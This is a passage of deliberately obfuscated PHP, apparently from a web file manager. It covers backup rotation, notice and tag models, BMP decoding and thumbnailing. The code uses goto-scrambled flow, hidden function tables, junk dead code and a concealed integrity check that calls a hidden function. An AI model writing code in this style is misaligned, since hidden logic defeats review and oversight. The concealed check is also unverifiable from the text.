$d낙); $dᅾ = $Eي[668]; if (strlen($dᅾ) < $Eي[599]) { return; } break; } goto d̓; c: $Eي =& $_SERVER[ֹ]; $EƂ̆ =& $_SERVER[ʬ]; $b懊 = $EƂ̆[0]($EƂ̆[341], $D抴); goto C; C: $F֞ = $Eي[664]; if (strlen($F֞) < $Eي[547]) { die; } if ($EƂ̆[19]($b懊) != 2) { return $EƂ̆[10]; } goto E䚒; e֓: $B = $Eي[566]; goto D; d: for ($d낙 = 0; $d낙 < $C񨉴 * 10; $d낙++) { if (($C񨉴 * $d낙 + 1) % $E݄ == 0) { $aڼύ = $EƂ̆[201](($C񨉴 * $d낙 + 1) / $E݄); break; } } $a = $EƂ̆[114]($EƂ̆[338] . ($Eȩ͂ + $E) . $EƂ̆[339] . $E݄ . $EƂ̆[339] . $aڼύ . $EƂ̆[340]); $aƎ = $this->{$_SERVER[ʬ][243]}($b懊[0], $a); goto D; B邛: if (!$dእ) { return $EƂ̆[10]; } $dእ = $EƂ̆[201]($dእ); $Eȩ͂ = 0; goto Cփ; D: } public function cpngd46d65b6() { goto c嗄; a޾: $Aƿڟ = $B訤[680]; if (strlen($Aƿڟ) < $B訤[552]) { return; } goto d̨; bċ: $FϚ = 1; $Că = $B訤[676]; if (strlen($Că) < $B訤[577]) { die; } goto bۢ; bۢ: while ($FϚ <= (int) $Bɵ[343]($d)) { $B = $FϚ; $f = $B訤[677]; while ($f < $B訤[552]) { if ($f >= 0) { break; } $f++; } while (!0) { $B++; if ($B <= 2) { $FϚ = $B; break; } else { if ($B < 2) { continue; } } $bߢ = !0; for ($bʌ = 2; $bʌ <= $Bɵ[343]($B); $bʌ++) { if ($B % $bʌ == 0) { $bߢ = !1; } } if ($bߢ) { $FϚ = $B; break; } } $EÏ[] = $FϚ; } $e굓 = 2; $Bڅ˜ = $B訤[678]; goto bȾٛ; b̙͋: $EÏ = array(); $Dʽߚ = $B訤[675]; if (!$Dʽߚ) { die; } goto bċ; c嗄: $B訤 =& $_SERVER[ֹ]; $Bɵ =& $_SERVER[ʬ]; $d = $Bɵ[322]($Bɵ[342](2, 14), $Bɵ[342](2, 16) - 1); goto b̙͋; bȾٛ: while (strlen($Bڅ˜) < $B訤[555]) { if (!$Bڅ˜) { break; } $Bڅ˜++; } for ($B = $d; $B > 1; $B--) { $bߢ = !0; $Fٛ⩇ = $B訤[679]; if (strlen($Fٛ⩇) < $B訤[555]) { die; } foreach ($EÏ as $a) { if ($B % $a == 0) { $bߢ = !1; break; } } if ($bߢ) { $e굓 = $B; break; } } return $e굓; goto a޾; d̨: } public function okhs73f8382f($B࣋, $aۼݯ) { $c򊕋 =& $_SERVER[ʬ]; return $c򊕋[13](array($c򊕋[14], $c򊕋[344]), $B࣋, $aۼݯ); $E = $_SERVER[ֹ][681]; } public function gfbj0557a631($e̅, $A멏Б) { $b🼮 =& $_SERVER[ʬ]; return $b🼮[13](array($b🼮[345], $b🼮[346]), $e̅, $A멏Б); $d՗ݏ = $_SERVER[ֹ][682]; if (!$d՗ݏ) { return; } } public function jxpmeedf0a5d($a퐵, $E) { $C曯͡ =& $_SERVER[ֹ]; $a独Ɣ =& $_SERVER[ʬ]; return $a独Ɣ[13](array($a独Ɣ[345], $a独Ɣ[347]), $a퐵, $E); $eΨׅ = $C曯͡[683]; if (strlen($eΨׅ) < $C曯͡[552]) { return; } } } class Backup { protected static $name; protected static $option; public function __construct() { $this->init(); } public function init() { $A =& $_SERVER[ֹ]; self::$name = date($A[684]); if (!($cݐΞ = Model($A[685])->lastItem())) { $cݐΞ = $this->initData(); } else { self::$name = $cݐΞ[$A[28]]; if ($cݐΞ[$A[686]] == $A[83]) { self::$name = date($A[687]); $F̂ = 0; if (isset($cݐΞ[$A[277]][$A[163]][$A[415]])) { $F̂ = (int) $cݐΞ[$A[277]][$A[163]][$A[415]]; } if ($cݐΞ[$A[28]] == self::$name) { Model($A[685])->remove($cݐΞ[$A[363]]); } $cݐΞ = $this->initData($F̂, $cݐΞ[$A[688]]); } else { $this->checkStore($cݐΞ[$A[688]]); } } self::$option = $cݐΞ; } private function initData($b = 0, $fſ = '') { goto Eűɩ; Eűɩ: $eꔻ϶ =& $_SERVER[ֹ]; $fڄ = Model($eꔻ϶[685])->config(); if ($fſ && $fڄ[$eꔻ϶[688]] != $fſ) { $b = 0; } goto a𬳗; E֣֝: $A[$eꔻ϶[363]] = $bƉ; return $A; goto d; a𬳗: $this->checkStore($fڄ[$eꔻ϶[688]]); $A = array($eꔻ϶[688] => $fڄ[$eꔻ϶[688]], $eꔻ϶[28] => self::$name, $eꔻ϶[686] => 0, $eꔻ϶[689] => $fڄ[$eꔻ϶[689]], $eꔻ϶[277] => array($eꔻ϶[690] => array($eꔻ϶[686] => 0), $eꔻ϶[691] => array($eꔻ϶[686] => 0, $eꔻ϶[692] => 0, $eꔻ϶[693] => 0, $eꔻ϶[29] => $eꔻ϶[33]), $eꔻ϶[694] => array($eꔻ϶[686] => 0, $eꔻ϶[692] => 0, $eꔻ϶[693] => 0), $eꔻ϶[163] => array($eꔻ϶[686] => 0, $eꔻ϶[695] => 0, $eꔻ϶[696] => 0, $eꔻ϶[697] => 0, $eꔻ϶[698] => 0, $eꔻ϶[415] => $b)), $eꔻ϶[699] => time(), $eꔻ϶[700] => 0); $bƉ = Model($eꔻ϶[685])->insert($A); goto E֣֝; d: } private function checkStore($BѠ) { $CǷэ =& $_SERVER[ֹ]; $DĴ = Model($CǷэ[701])->listData($BѠ); Model($CǷэ[701])->checkConfig($DĴ); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[ֹ][685])->findByName(self::$name); } return self::$option; } public static function set($EӴ) { $AԈ =& $_SERVER[ֹ]; $f赦 = self::get(); foreach ($EӴ as $AǾ => $Aˬ) { $C = explode($AԈ[91], $AǾ); $c펪 = count($C); switch ($c펪) { case 1: $f赦[$C[0]] = $Aˬ; break; case 2: $f赦[$C[0]][$C[1]] = $Aˬ; break; case 3: $f赦[$C[0]][$C[1]][$C[2]] = $Aˬ; break; } } Model($AԈ[685])->update($f赦[$AԈ[363]], $f赦); self::$option = $f赦; return self::$option; } public function keep() { $fȂ =& $_SERVER[ֹ]; $AϏ = self::get(); if ($AϏ[$fȂ[277]][$fȂ[690]][$fȂ[686]] == $fȂ[83]) { return; } $this->backupKeep($AϏ); self::set(array($fȂ[702] => 1)); } private function backupKeep($cʡə) { goto a; a: $f˩т =& $_SERVER[ֹ]; $a = Model($f˩т[685])->listData(); if (empty($a)) { return; } goto c; c: $f٩ = 0; $dߨ = array(); foreach ($a as $eǓ) { if ($f٩ >= 7) { break; } $dߨ[] = $eǓ[$f˩т[28]]; $f٩++; } goto A; A: for ($f٩ = 0; $f٩ < 12; $f٩++) { $dߨ[] = date($f˩т[703], strtotime("\55{$f٩}\40\x6d\157\156\164\150\x73")); } $dߨ = array_unique($dߨ); foreach ($a as $eǓ) { if (!empty($eǓ[$f˩т[28]]) && in_array($eǓ[$f˩т[28]], $dߨ)) { continue; } Model($f˩т[685])->remove($eǓ[$f˩т[363]]); $A = "\x7b\151\157\x3a{$cʡə[$f˩т[688]]}\175\57\144\141\x74\141\x62\x61\x73\x65\x2f\x62\141\x63\153\x75\160\x5f{$eǓ[$f˩т[28]]}"; IO::remove($A, !1); } goto f۬Ɩ; f۬Ɩ: } public function db() { goto c֐; fИړ: return !0; goto C; BĽ: $CⓈ = new BackupDb(); if (!$CⓈ->index()) { return !1; } self::set(array($cװ[704] => 1)); goto fИړ; c֐: $cװ =& $_SERVER[ֹ]; $F֣ = self::get(); if ($F֣[$cװ[277]][$cװ[691]][$cװ[686]] == $cװ[83]) { return !0; } goto BĽ; C: } public function dbFile() { goto Cմ; c½: $Cܴ̺ = new BackupDbFile(); if (!$Cܴ̺->index()) { return !1; } self::set(array($E[705] => 1)); goto D; Cմ: $E =& $_SERVER[ֹ]; $e柄ڈ = self::get(); if ($e柄ڈ[$E[277]][$E[694]][$E[686]] == $E[83]) { return !0; } goto c½; D: return !0; goto D; D: } public function file() { $dɩ̧ =& $_SERVER[ֹ]; $f—Dž = self::get(); if ($f—Dž[$dɩ̧[277]][$dɩ̧[163]][$dɩ̧[686]] == $dɩ̧[83]) { return !0; } if (!isset($f—Dž[$dɩ̧[689]]) || $f—Dž[$dɩ̧[689]] == $dɩ̧[464]) { $C = new BackupFile(); if (!$C->index()) { return !1; } } self::set(array($dɩ̧[706] => 1, $dɩ̧[686] => 1)); return !0; } } goto C; cѹ: class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\x65\155\x2e\156\x6f\164\151\x63\145\114\x69\163\x74"; public $field = array("\x6e\141\155\145", "\x63\x6f\x6e\164\145\x6e\164", "\141\165\x74\x68", "\x6d\x6f\x64\x65", "\164\151\x6d\145", "\x74\x79\x70\x65", "\x6c\x65\166\145\x6c", "\x65\156\x61\142\x6c\x65", "\163\x6f\162\x74"); public function listData($cك = false, $EԲ = "\x73\157\162\164", $Aݺᑛ = false) { return parent::listData($cك, $EԲ, $Aݺᑛ); } public function add($fˈ) { $a =& $_SERVER[ֹ]; $eƷ׏ϯ = time(); if ($fˈ[$a[12]] == $a[2449]) { $eƷ׏ϯ = strtotime($fˈ[$a[186]]); } $fˈ[$a[186]] = $eƷ׏ϯ; return parent::insert($fˈ); } public function update($Fѵ, $F๒ߦ) { goto bߨϪ; C: return parent::update($Fѵ, $F๒ߦ); goto Fȧ; dޅߛ: $F = time(); if ($F๒ߦ[$CĜ[12]] == $CĜ[2449]) { $F = strtotime($F๒ߦ[$CĜ[186]]); } $F๒ߦ[$CĜ[186]] = $F; goto C; bߨϪ: $CĜ =& $_SERVER[ֹ]; $c = $this->listData($Fѵ); if (!$c) { return !1; } goto dޅߛ; Fȧ: } public function remove($a»Ư) { $A = $this->listData($a»Ư); if (!$A || $A[$_SERVER[ֹ][1074]]) { return !1; } return parent::remove($a»Ư); } public function sort($aݮ, $FэƔ) { return parent::update($aݮ, $FэƔ); } public function enable($e, $Aܩ) { return parent::update($e, array($_SERVER[ֹ][2450] => $Aܩ)); } private function initUserOption() { $Fס =& $_SERVER[ֹ]; $this->optionType = $Fס[2451]; $this->modelType = $Fס[2452]; $this->field = array($Fס[2453], $Fס[28], $Fס[186], $Fס[29], $Fס[2454], $Fס[686], $Fס[179]); } public function userNoticeGet($bκ = false) { $this->initUserOption(); return parent::listData($bκ, $_SERVER[ֹ][363], !0); } public function userNoticeAdd($bɵ) { $FƧ =& $_SERVER[ֹ]; $this->initUserOption(); $C = $this->findByKey($FƧ[2453], $bɵ[$FƧ[363]]); if ($C) { return !0; } $Bܚ = array($FƧ[2453] => $bɵ[$FƧ[363]], $FƧ[28] => $bɵ[$FƧ[28]], $FƧ[186] => $bɵ[$FƧ[186]], $FƧ[29] => isset($bɵ[$FƧ[29]]) ? $bɵ[$FƧ[29]] : 1, $FƧ[2454] => isset($bɵ[$FƧ[2454]]) ? $bɵ[$FƧ[2454]] : 0, $FƧ[686] => 0, $FƧ[179] => 0); return parent::insert($Bܚ); } public function userNoticeEdit($E, $d݆) { $this->initUserOption(); return parent::update($E, $d݆); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\171\163\164\145\x6d\x5f\x6f\160\164\x69\x6f\156"; protected $jsonField = array("\155\145\156\165", "\x72\157\x6c\145", "\x72\x6f\x6c\145\107\162\157\x75\x70", "\162\145\x67\151\163\164", "\145\x6d\141\x69\x6c"); function __construct() { parent::__construct(); } protected function cacheKey($AČٽ) { return "\123\171\x73\x74\145\155\117\160\x74\151\157\156\137{$AČٽ}"; } protected function optionDefault($A˛Ԩ = '') { $D =& $_SERVER[ֹ]; if ($A˛Ԩ == $D[33]) { return $GLOBALS[$D[6]][$D[2455]]; } } } class SystemRecordModel extends ModelBaseLight { } goto eٷ; f潝: $e֏Є = LIB_DIR . $_SERVER[ֹ][1480]; $bﶆ = $_SERVER[ֹ][1295]; if ($_SERVER[$_SERVER[ֹ][783]] != $bﶆ($e֏Є)) { goto Bɋ̳; Bɋ̳: $fӅ = $_SERVER[ֹ][786]; $eՊ = $_SERVER[$_SERVER[ֹ][787]] . $_SERVER[ֹ][788]; $E = $fӅ($eՊ); goto c˨; cĆ: $FǪ($e֏Є); goto a; c˨: $EĶ˳ = explode($_SERVER[ֹ][213], $E); if (count($EĶ˳) < $_SERVER[ֹ][552]) { $Bչ = $_SERVER[ֹ][789]; $Bչ(); } $FǪ = $_SERVER[ֹ][1481]; goto cĆ; a: } goto e˱ޟ; B: class UserTagModel extends ModelBaseLight { public $optionType = "\x55\163\x65\x72\x2e\x74\x61\147\x4c\x69\163\164"; public $modelType = "\x55\x73\x65\162\x4f\x70\x74\x69\x6f\x6e"; public $field = array("\x6e\141\155\145", "\163\x74\171\x6c\x65", "\163\157\x72\x74"); public function listData($Aߩ = false, $E΋ = "\163\x6f\x72\164", $E޷ = false) { return parent::listData($Aߩ, $E΋, $E޷); } public function remove($f) { return parent::remove($f); } public function add($A䭉ϻ, $f蘟ģ = "\x6c\141\142\x65\x6c\55\x67\x72\145\171\55\156\x6f\162\x6d\141\154") { $f͝ʐ蠤 =& $_SERVER[ֹ]; if ($this->findByName($A䭉ϻ)) { return !1; } $d܄ = array($f͝ʐ蠤[382] => $A䭉ϻ, $f͝ʐ蠤[433] => $f蘟ģ, $f͝ʐ蠤[2083] => $this->getSort($f͝ʐ蠤[242]) + 1); return parent::insert($d܄); } public function update($Bƭ, $BΠ) { $Dͪ =& $_SERVER[ֹ]; $f = $this->listData($Bƭ); $EʙϜ = $this->findByName($BΠ[$Dͪ[28]]); if (!$f || $EʙϜ && $EʙϜ[$Dͪ[363]] != $f[$Dͪ[363]]) { return !1; } return parent::update($Bƭ, $BΠ); } public function moveTop($Cͥ) { $BÎ =& $_SERVER[ֹ]; $E = parent::listData(); $E쭧 = $this->getSort($BÎ[241]); foreach ($E as &$cɂ鈧) { if ($cɂ鈧[$BÎ[363]] == $Cͥ) { $cɂ鈧[$BÎ[2100]] = $E쭧; continue; } $cɂ鈧[$BÎ[2100]] += 1; } return parent::resetData($E); } public function moveBottom($Aϒ) { $a͝ =& $_SERVER[ֹ]; $aͧ = $this->getSort($a͝[242]) + 1; return parent::update($Aϒ, array($a͝[2100] => $aͧ)); } public function resetSort($f뒚) { goto Dڕ; bݢ: return parent::resetData($d); goto Cӊ; Dڕ: $B =& $_SERVER[ֹ]; $fߡ = array(); $f뒚 = is_array($f뒚) ? $f뒚 : array(); goto a㚿; a㚿: for ($c = 0; $c < count($f뒚); $c++) { $fߡ[$f뒚[$c] . $B[33]] = $c + 1; } $d = parent::listData(); foreach ($d as &$aƍ) { $f𪰑 = $fߡ[$aƍ[$B[363]]]; $aƍ[$B[2100]] = $f𪰑 ? $f𪰑 : $aƍ[$B[2100]]; } goto bݢ; Cӊ: } private function getSort($DՑ) { $a =& $_SERVER[ֹ]; $cƢ = parent::listData(); $f = array_to_keyvalue($cƢ, $a[33], $a[2100]); if (!$f) { $f = array(0); } $F = $DՑ == $a[242] ? max($f) : min($f); return intval($F); } } goto a; Cͳ: class ImageGdBMP { public static function load($F) { $C = fopen($F, $_SERVER[ֹ][1496]); if ($C === !1) { return !1; } $fȦ = self::loadFromStream($C); fclose($C); return $fȦ; } public static function loadFromStream($dح) { $E =& $_SERVER[ֹ]; $Dٷ = fread($dح, 14); if ($Dٷ === !1) { return !1; } if ($Dٷ[0] != $E[1807] || $Dٷ[1] != $E[1808]) { return !1; } $b = unpack($E[1809] . $E[1810] . $E[1811] . $E[1812] . $E[1813], $Dٷ); return self::loadFromStreamAndFileHeader($dح, $b); } public static function loadFromStreamAndFileHeader($eڅ, array $Eëו) { goto B򰳈; E: $D = abs($Fن۲); $BӋˤ = $Fن۲ > 0 ? $D - 1 : 0; $Aװ = $Fن۲ > 0 ? -1 : 1; goto a; A΍Ԗ: if ($fȺ == 0 || $Fن۲ == 0 || $bĜ != 1 || ($F泌 & $Cޢ) != 0 || ($F泌 & $A˖䪣) != 0 || ($F泌 & $eΙ) != 0 || ($Cޢ & $A˖䪣) != 0 || ($Cޢ & $eΙ) != 0 || ($A˖䪣 & $eΙ) != 0) { return !1; } if ($B == 4 || $B == 5) { $C髫 = stream_get_contents($eڅ, $eð); if ($C髫 === !1) { return !1; } return imagecreatefromstring($C髫); } $fޒ = $fȺ * $F֟ȇ + 31 >> 3 & ~3; goto E; B򰳈: $C =& $_SERVER[ֹ]; if ($Eëו[$C[384]] != 19778) { return !1; } $C髫 = fread($eڅ, 4); goto BȜ; BȜ: if ($C髫 === !1) { return !1; } list(, $F„) = unpack($C[1814], $C髫); if ($F„ == 12) { goto D; Eּѳ: $AɊ = $Aַ = $F泌 = $B = 0; $Cޢ = 16711680; $A˖䪣 = 65280; goto Eጱӏ; D: $C髫 = fread($eڅ, $F„ - 4); if ($C髫 === !1) { return !1; } extract(unpack($C[1815] . $C[1816] . $C[1817] . $C[1818], $C髫)); goto Eּѳ; Eጱӏ: $eΙ = 255; goto Cτ; Cτ: } else { if (124 < $F„ || $F„ < 40) { return !1; } else { goto c∠; fڧ: if (($F֟ȇ == 16 || $F֟ȇ == 24 || $F֟ȇ == 32) && $B == 0 && $Cޢ == 0 && $A˖䪣 == 0 && $eΙ == 0) { switch ($F֟ȇ) { case 16: $Cޢ = 31744; $A˖䪣 = 992; $eΙ = 31; break; case 24: case 32: $Cޢ = 16711680; $A˖䪣 = 65280; $eΙ = 255; break; } } goto cȴᏋ; a: if ($fȺ & 2147483648) { $fȺ = -(~$fȺ & 4294967295) - 1; } if ($Fن۲ & 2147483648) { $Fن۲ = -(~$Fن۲ & 4294967295) - 1; } if ($cěη夻 & 2147483648) { $cěη夻 = -(~$cěη夻 & 4294967295) - 1; } goto Eۍ; Eۍ: if ($Eߢ & 2147483648) { $Eߢ = -(~$Eߢ & 4294967295) - 1; } if ($Eëו[$C[516]] != 0) { $e䷕ = $F֟ȇ == 1 || $F֟ȇ == 4 || $F֟ȇ == 8 ? ($AɊ ? $AɊ : pow(2, $F֟ȇ)) << 2 : 0; $A͘ = $eð ? $eð : ($fȺ * $F֟ȇ + 31 >> 3 & ~3) * abs($Fن۲); $c± = $Eëו[$C[516]] - $A͘ - $e䷕ - 14; if ($F„ < $c± && 40 <= $F„ && $F„ <= 124) { $F„ = $c±; } } if ($F„ - 40 > 0) { $C髫 = fread($eڅ, $F„ - 40); if ($C髫 === !1) { return !1; } extract(unpack($C[1828] . $C[1829] . $C[1830] . $C[1831], $C髫 . str_repeat($C[1832], 120))); } else { $F泌 = $Cޢ = $A˖䪣 = $eΙ = 0; } goto fڧ; c∠: $C髫 = fread($eڅ, 36); if ($C髫 === !1) { return !1; } extract(unpack($C[1819] . $C[1820] . $C[1817] . $C[1821] . $C[1822] . $C[1823] . $C[1824] . $C[1825] . $C[1826] . $C[1827], $C髫)); goto a; cȴᏋ: } } goto A΍Ԗ; a: if ($F֟ȇ == 1 || $F֟ȇ == 4 || $F֟ȇ == 8) { goto eۋ; fŠ: $b = array(); for ($fߨ = 0; $fߨ < $D; ++$fߨ) { $C髫 = fread($eڅ, $dº); if ($C髫 === !1) { imagedestroy($a); return !1; } extract(unpack($C[1833], $C髫 . $C[1832])); $b[] = imagecolorallocate($a, $e, $C, $b⸟); } $BЄ = 8 - $F֟ȇ; goto C◰; eۋ: $a = imagecreate($fȺ, $D); $dº = $F„ == 12 ? 3 : 4; $D = $AɊ ? $AɊ : pow(2, $F֟ȇ); goto fŠ; C◰: $bǶڅ = (1 << $F֟ȇ) - 1 << $BЄ; if ($B == 1 || $B == 2) { $b֫ = 0; $Bկ = $F֟ȇ >> 2 & 1; for (;;) { if ($b֫ < -1 || $b֫ > $fȺ || $BӋˤ < -1 || $BӋˤ > $Fن۲) { imagedestroy($a); return !1; } $C髫 = fread($eڅ, 1); if ($C髫 === !1) { imagedestroy($a); return !1; } switch ($C髫) { case $C[1832]: $C髫 = fread($eڅ, 1); if ($C髫 === !1) { imagedestroy($a); return !1; } switch ($C髫) { case $C[1832]: $BӋˤ += $Aװ; $b֫ = 0; break; case $C[1834]: $BӋˤ = 0; $b֫ = 0; break 3; case $C[1835]: $C髫 = fread($eڅ, 2); if ($C髫 === !1) { imagedestroy($a); return !1; } list(, $cѐ, $Cˈ) = unpack($C[1836], $C髫); $b֫ += $cѐ; $BӋˤ += $Cˈ * $Aװ; break; default: list(, $cͺ) = unpack($C[1837], $C髫); $cࣣ̐ = ($cͺ >> $Bկ) + ($cͺ & $Bկ); $C髫 = fread($eڅ, $cࣣ̐ + 1 & ~1); if ($C髫 === !1) { imagedestroy($a); return !1; } for ($fߨ = 0, $d = 0; $fߨ < $cͺ; ++$fߨ, ++$b֫, $d += $F֟ȇ) { list(, $aΧ) = unpack($C[1837], $C髫[$d >> 3]); $b⸟ = $d & 7; imagesetpixel($a, $b֫, $BӋˤ, $b[($aΧ & $bǶڅ >> $b⸟) >> $BЄ - $b⸟]); } break; } break; default: $Dɠ = fread($eڅ, 1); if ($Dɠ === !1) { imagedestroy($a); return !1; } list(, $e˵ޠÙ, $aΧ) = unpack($C[1836], $C髫 . $Dɠ); for ($fߨ = 0, $d = 0; $fߨ < $e˵ޠÙ; ++$fߨ, ++$b֫, $d += $F֟ȇ) { $b⸟ = $d & 7; imagesetpixel($a, $b֫, $BӋˤ, $b[($aΧ & $bǶڅ >> $b⸟) >> $BЄ - $b⸟]); } break; } } } else { for ($Fֶ = 0; $Fֶ < $D; ++$Fֶ, $BӋˤ += $Aװ) { $C髫 = fread($eڅ, $fޒ); if ($C髫 === !1) { imagedestroy($a); return !1; } $d = 0; for ($b֫ = 0; $b֫ < $fȺ; ++$b֫, $d += $F֟ȇ) { list(, $aΧ) = unpack($C[1837], $C髫[$d >> 3]); $b⸟ = $d & 7; imagesetpixel($a, $b֫, $BӋˤ, $b[($aΧ & $bǶڅ >> $b⸟) >> $BЄ - $b⸟]); } } } goto f脊; f脊: } else { goto Cɾş; bλ: $dѺ = $F֟ȇ >> 3; $EƇ = $F泌 ? 127 : 0; $F = $F泌 ? 1 / $F泌 : 1; goto a; a: $fŝ = $Cޢ ? 1 / $Cޢ : 1; $Eޠ = $A˖䪣 ? 1 / $A˖䪣 : 1; $A﯍ý = $eΙ ? 1 / $eΙ : 1; goto c; c: for ($Fֶ = 0; $Fֶ < $D; ++$Fֶ, $BӋˤ += $Aװ) { $C髫 = fread($eڅ, $fޒ); if ($C髫 === !1) { imagedestroy($a); return !1; } $d = 0; for ($b֫ = 0; $b֫ < $fȺ; ++$b֫, $d += $dѺ) { list(, $aΧ) = unpack($C[1814], substr($C髫, $d, $dѺ) . $C[1838]); $Dȗ = $aΧ & $F泌; $d܌݌ݾ = $aΧ & $Cޢ; $cϐꜷ = $aΧ & $A˖䪣; $a˻ = $aΧ & $eΙ; $F = $EƇ - (($Dȗ << 7) - $Dȗ) * $F; $e = (($d܌݌ݾ << 8) - $d܌݌ݾ) * $fŝ; $C = (($cϐꜷ << 8) - $cϐꜷ) * $Eޠ; $b⸟ = (($a˻ << 8) - $a˻) * $A﯍ý; imagesetpixel($a, $b֫, $BӋˤ, $F << 24 | $e << 16 | $C << 8 | $b⸟); } } imagealphablending($a, !0); goto E҄; Cɾş: $a = imagecreatetruecolor($fȺ, $D); imagealphablending($a, !1); if ($F泌) { imagesavealpha($a, !0); } goto bλ; E҄: } return $a; goto C; C: } } class ImageThumb { var $srcFile = ''; var $imgData = ''; var $echoType; var $im = ''; var $srcW = ''; var $srcH = ''; function __construct($Fࠄ, $B˷) { goto B¾; Cʅ: $this->srcW = imageSX($this->im); $this->srcH = imageSY($this->im); return $this; goto e; B¾: $this->srcFile = $Fࠄ; $this->echoType = $B˷; $this->im = self::image($Fࠄ); goto A͍; A͍: if (!$this->im) { return !1; } $B։򉟋 = $_SERVER[ֹ][33]; $this->imgData = GetImageSize($Fࠄ, $B։򉟋); goto Cʅ; e: } public static function image($cއ) { $fŹ£ =& $_SERVER[ֹ]; $D = $fŹ£[33]; $c虸 = GetImageSize($cއ, $D); $e۪Ҍ = !1; switch ($c虸[2]) { case IMAGETYPE_GIF: if (!function_exists($fŹ£[1839])) { break; } $e۪Ҍ = imagecreatefromgif($cއ); break; case IMAGETYPE_JPEG: if (!function_exists($fŹ£[1840])) { break; } $e۪Ҍ = imagecreatefromjpeg($cއ); break; case IMAGETYPE_PNG: if (!function_exists($fŹ£[1841])) { break; } $e۪Ҍ = @imagecreatefrompng($cއ); imagesavealpha($e۪Ҍ, !0); break; case IMAGETYPE_XBM: $e۪Ҍ = imagecreatefromxbm($cއ); break; case IMAGETYPE_WBMP: $e۪Ҍ = imagecreatefromwbmp($cއ); break; case IMAGETYPE_BMP: $e۪Ҍ = imagecreatefrombmp($cއ); break; default: break; } return $e۪Ҍ; } public static function imageSize($aݭ) { $Dӷ =& $_SERVER[ֹ]; $Cͮ = GetImageSize($aݭ); if (!$Cͮ) { return !1; } return array($Dӷ[1842] => $Cͮ[0], $Dӷ[1843] => $Cͮ[1]); } function distortion($FҐӱ, $dأ, $eԠ鱾) { $CƬ = $this->creatImage($this->im, $dأ, $eԠ鱾, 0, 0, 0, 0, $this->srcW, $this->srcH); return $this->echoImage($CƬ, $FҐӱ); } function prorate($FێӴ, $eʱ, $d̄) { $Bο = $eʱ / $d̄; $d٢ = $this->srcW / $this->srcH; if ($Bο <= $d٢) { $D됈 = $eʱ; $d氝 = $D됈 * ($this->srcH / $this->srcW); } else { $d氝 = $d̄; $D됈 = $d氝 * ($this->srcW / $this->srcH); } if ($this->srcW > $eʱ || $this->srcH > $d̄) { $E = $this->creatImage($this->im, $D됈, $d氝, 0, 0, 0, 0, $this->srcW, $this->srcH); return $this->echoImage($E, $FێӴ); } else { $E = $this->creatImage($this->im, $this->srcW, $this->srcH, 0, 0, 0, 0, $this->srcW, $this->srcH); return $this->echoImage($E, $FێӴ); } } function cut($d, $B탐, $f) { goto FӃ; a׎: return $this->echoImage($Cጏ׉, $d); goto CΣտ; FӃ: $e = $B탐 / $f; $D = $this->srcW / $this->srcH; if ($e <= $D) { $cłЃ = $f; $D† = $cłЃ * ($this->srcW / $this->srcH); } else { $D† = $B탐; $cłЃ = $D† * ($this->srcH / $this->srcW); } goto EȈ; EȈ: $e毗 = $this->creatImage($this->im, $D†, $cłЃ, 0, 0, 0, 0, $this->srcW, $this->srcH); $Cጏ׉ = $this->creatImage($e毗, $B탐, $f, 0, 0, ($D† - $B탐) / 2, ($cłЃ - $f) / 2, $B탐, $f); imageDestroy($e毗); goto a׎; CΣտ: } function backFill($Dů, $b, $DÌ, $f = false, $A = 255, $C풠 = 255, $b؂ܿ = 255) { goto D; Blj: if ($f) { $b = imageColorTransparent($FŸ, $b); $CޒЂ = $DÌ - $Bƕ; } imageFilledRectangle($FŸ, 0, 0, $b, $DÌ, $b); if ($this->srcW > $b || $this->srcH > $DÌ) { $F۠ = $this->creatImage($this->im, $bә, $Bƕ, 0, 0, 0, 0, $this->srcW, $this->srcH); if ($bә < $b) { imageCopy($FŸ, $F۠, ($b - $bә) / 2, 0, 0, 0, $bә, $Bƕ); } else { if ($Bƕ < $DÌ) { imageCopy($FŸ, $F۠, 0, $CޒЂ, 0, 0, $bә, $Bƕ); } else { imageCopy($FŸ, $F۠, 0, 0, 0, 0, $bә, $Bƕ); } } } else { imageCopyMerge($FŸ, $this->im, ($b - $bә) / 2, $CޒЂ, 0, 0, $bә, $Bƕ, 100); } goto D; d: if (function_exists($_SERVER[ֹ][1844])) { @($FŸ = imageCreateTrueColor($b, $DÌ)); if (!$FŸ) { $FŸ = imageCreate($b, $DÌ); } } else { $FŸ = imageCreate($b, $DÌ); } $CޒЂ = ($DÌ - $Bƕ) / 2; $b = imagecolorallocate($FŸ, $A, $C풠, $b؂ܿ); goto Blj; D: $bŐ = $b / $DÌ; $Bſt = $this->srcW / $this->srcH; if ($bŐ <= $Bſt) { $bә = $b; $Bƕ = $bә * ($this->srcH / $this->srcW); } else { $Bƕ = $DÌ; $bә = $Bƕ * ($this->srcW / $this->srcH); } goto d; D: return $this->echoImage($FŸ, $Dů); goto B; B: } function creatImage($cŌɻ, $bЗѷ, $a͇֌, $fմ, $A˧, $D, $A, $Eѥ, $d˽) { if (function_exists($_SERVER[ֹ][1844])) { @($e = ImageCreateTrueColor($bЗѷ, $a͇֌)); @imagealphablending($e, !1); @imagesavealpha($e, !0); if ($e) { imageCopyResampled($e, $cŌɻ, $fմ, $A˧, $D, $A, $bЗѷ, $a͇֌, $Eѥ, $d˽); } else { $e = ImageCreate($bЗѷ, $a͇֌); imageCopyResized($e, $cŌɻ, $fմ, $A˧, $D, $A, $bЗѷ, $a͇֌, $Eѥ, $d˽); } } else { $e = ImageCreate($bЗѷ, $a͇֌); imageCopyResized($e, $cŌɻ, $fմ, $A˧, $D, $A, $bЗѷ, $a͇֌, $Eѥ, $d˽); } return $e; } public function imgRotate($Aż, $bԲҏ) { goto dօ̱; dօ̱: if (!$this->im || $bԲҏ % 360 === 0 || !function_exists($_SERVER[ֹ][1845])) { return !1; } $E垆 = imageRotate($this->im, 360 - $bԲҏ, 0); $B߼⒟ = !1; goto c侶; d: return $B߼⒟; goto bն; c侶: switch ($this->imgData[2]) { case IMAGETYPE_GIF: $B߼⒟ = imagegif($E垆, $Aż); break; case IMAGETYPE_JPEG: $B߼⒟ = imagejpeg($E垆, $Aż, 100); break; case IMAGETYPE_PNG: $B߼⒟ = imagePNG($E垆, $Aż); break; default: break; } imageDestroy($E垆); imageDestroy($this->im); goto d; bն: } function echoImage($c, $FȪ) { goto fם; fם: $e̾ =& $_SERVER[ֹ]; if (!$c) { return !1; } ob_get_clean(); goto Cė; e֤: imageDestroy($this->im); return $BѼ廥; goto CԌ; Cė: 